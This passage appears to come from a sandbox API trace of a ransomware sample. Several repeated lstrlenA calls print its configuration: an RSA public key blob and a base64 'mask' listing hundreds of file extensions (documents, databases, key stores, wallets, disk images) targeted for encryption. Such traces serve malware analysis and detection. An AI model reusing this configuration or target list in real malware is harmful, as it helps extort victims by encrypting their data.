Z2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5